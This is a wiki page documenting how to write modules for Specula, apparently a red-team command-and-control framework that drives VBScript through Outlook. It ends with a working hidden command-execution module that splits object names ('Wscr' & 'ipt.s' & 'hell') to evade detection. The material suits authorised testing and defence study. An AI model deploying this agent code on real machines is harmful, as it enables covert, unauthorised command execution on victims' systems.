Skip to content

Developing New Modules

freefirex edited this page Jan 19, 2024 · 1 revision

Layout

Specula modules are located under the functions folder and split into broad categories namely:

  • api: interacting with a pushed down com object for native funcationality
  • enumerate: retreiving system information from the target
  • execute: execute commands and operational effects on the target
  • exploit: any exploits of primatives would go in here
  • operation: basic system operations go here (cat, upload, download, dir, read mail etc)
  • trolling: Weird stuff to be irritating go here

Basic setup

At minimum each capability will consist of a python script an an associated vbscript. The python script is used to configure the vbscript using jinja2 as a templating language. It can present 0 or more options and then can take pre/post processing.

python

The python code is implemented as a class named Spec that inherits from SpecModule

This class defines an init module that configures some of the classes options, a bear minimul specula module looks as follows

from lib.core.specmodule import SpecModule

class Spec(SpecModule):
    def __init__(self, templatepath, helpers):
        self.options = {}
        self.depends = []
        self.helpers = helpers
        self.help = """
Place a description here of what users should know about your module as a whole and how it will be used
        """
        self.entry = 'execute_functionality'
        super().__init__(templatepath)

For configuration of the vbscript file you can fill out the options parameter. Any value given here will be passed into the jinja2 template with the name given. An individual option looks as follows

self.options['templatename'] = {
     "value": "Default Value",
     "required": True || False,
     "description": "Description to present to user,
     (optional)"handler": callback function to process value before it is used in the jinja2 template,
     (optional)"validator": callback function to validate value is within expected range / parameters,
     (optional)"validatorargs" : list of named arguments to pass along to the validator callback function,
     (optional)"handlerargs" : list of named arguments to pass along to handler callback function,
}

The depends array calls out other vbscript .txt files that need to be loaded into the same context as your main script. This allows for abstracting basic primatives (like setting a registry key) into there own standalone functions, and then referencing them from multiple scripts without copy / pasting the function around.

The entry variable is a string that specifies what the name of your main vbscript entry function is. This is the script outlook will call once it downloads your code.

Finally there are two functions that can be overridden as needed to provide other customization:

def preprocess(self, agent):
 # This is called before your vbscript is processed and allows handling hidden arguments or complex validation
def rethandler(self, agent, options, data):
 # This is called with the return data. If you want to do any special parsing of the returned data / act on it you can here.

Optional options attributes

As marked above there are a number of optional attributes that can contribute to how the menu system processes set options. The included options for these keys are below

handlers

Handlers are coded as a function that takes the input "value" as the first parameter, and anything defined in handlerargs as kwargs. The default ones are under lib/modhandlers/generic.py

for example quotedstring is implemented as below

def quotedstring(value, **kwargs):
    if value[0] != "\"":
        return '"{}"'.format(value)
    return value

The return value should be the transformed value to use in the jinja2 vbs template The following functions are available for use

name usage
quotedstring checks if the string starts with a " and if it doesn't wraps the string in "
escapebackslash escapes any \ found in the string
makeint transforms the argument from a string to an integer
makelist transforms the argument from a space separated list to a python list
escapequotes escape any " found for vbs and escape |
makebool transforms the argument to True if it is true otherwise False

validator

Validators work similar to handlers but have a different job. Rather then taking the already accepted value and transforming it, they control if a value is allowed to be used or not in the first place. Similar to handlers they accept kwargs via validatorargs. The default validator's provided with the framework are under lib/validators/*.py

An example of an implemented validator is below

def ischoice(val, **kwargs):
    try:
        choices = kwargs["choices"]
        if val in choices:
            return True
        else:
            errmsg = "invalid choice, valid options are: {}".format(choices)
            print(errmsg)
            return False
    except:
        print("something went wrong")
        traceback.print_exc()
        return False

if False is returned the options is now allowed to be set and the user must provide a new value

name usage
iswebaddress provided value starts with http(s)://
isboolstring provided value is "true" or "false"
maxlen provided value is no longer then the validatorarg "length"
ischoice provided value is included in the list of choices in validatorarg "choices"
isint provided value is a valid int
isreadable provided value is a filesystem path and can be read
isbasename provided path is a valid basename and not full path

Helpers class

an instantiated instance of "Helpers" is passed into all created modules. This class exposes methods to further interact with the framework on a programmatic level. Some of the exposed methods that you may want to leverage are mentioned below.

def insertTask(self, agent, module, name):

agent: the agent object you want the task inserted on module: a configured (options set) module to task the referenced agent with name: the name of the module as presented in the UI.

This can be used to configure a task and insert it onto an agent. its intended use case is to perform follow on tasking in a rethandler.

def sendPush(self, ip, hostname, msg):

ip: ip address to identify related client. hostname: hostname to identify related client. msg: message to post via pushover.

If you need to send a message in response to specific output being in a task, you can call this to beacon out to the configured pushover client.

VBScript

The visual basic scripts are the heart of what is getting executed on target and what gives specula its functionality. There are already a wide variety of scripts that cover most needs, but being an extensible system most anything can be added.

Your VBScript must define the entry function as specified by self.entry in your python script.

The bare VBScript template would look like as follows:

Function execute_functionality()
    On error resume next
    execute_functionality = "Done"
End Function

This would simply return the string "Done" when executed.

For customization variables from the python script can be substituted in using jinja2 syntax. a basic example of this is seen in functions/execute/host/cmd.txt

the python has

...
        self.entry = 'Execute_CMD'
        self.options['command'] = {
            "value": None,
            "required": True,
            "description": "Command to execute on remote target",
            "handler": quotedstring
        }
...

and the associated vbscript looks as follows, notice the entry name lining up and how {{command}} is used

Function Execute_CMD()
	On Error Resume Next

	Const HIDDEN_WINDOW = 0
	Set ws = window.external.OutlookApplication.CreateObject("Wscr" & "ipt.s" & "hell")
	Set f = window.external.OutlookApplication.CreateObject("Scri" & "pting.FileSyst" & "emObject")
	tmp = f.GetSpecialFolder(2)
	fn = f.GetTempName
	ff = tmp & "\"  & fn
	c = "cmd /c " & {{command}} & " > " & ff

	ws.Run c, 0, true
	if f.FileExists(ff) then
	    set tf = f.OpenTextFile(ff)
	    if not tf.atendofstream then
            retval = tf.ReadAll
            tf.close()
	        Execute_CMD = "Command executed: " & c & vbCrLf & retval
        else
			tf.close()
			Execute_CMD = "Command: " & c & "  returned no data"
        end if
		f.DeleteFile ff
    end if
End Function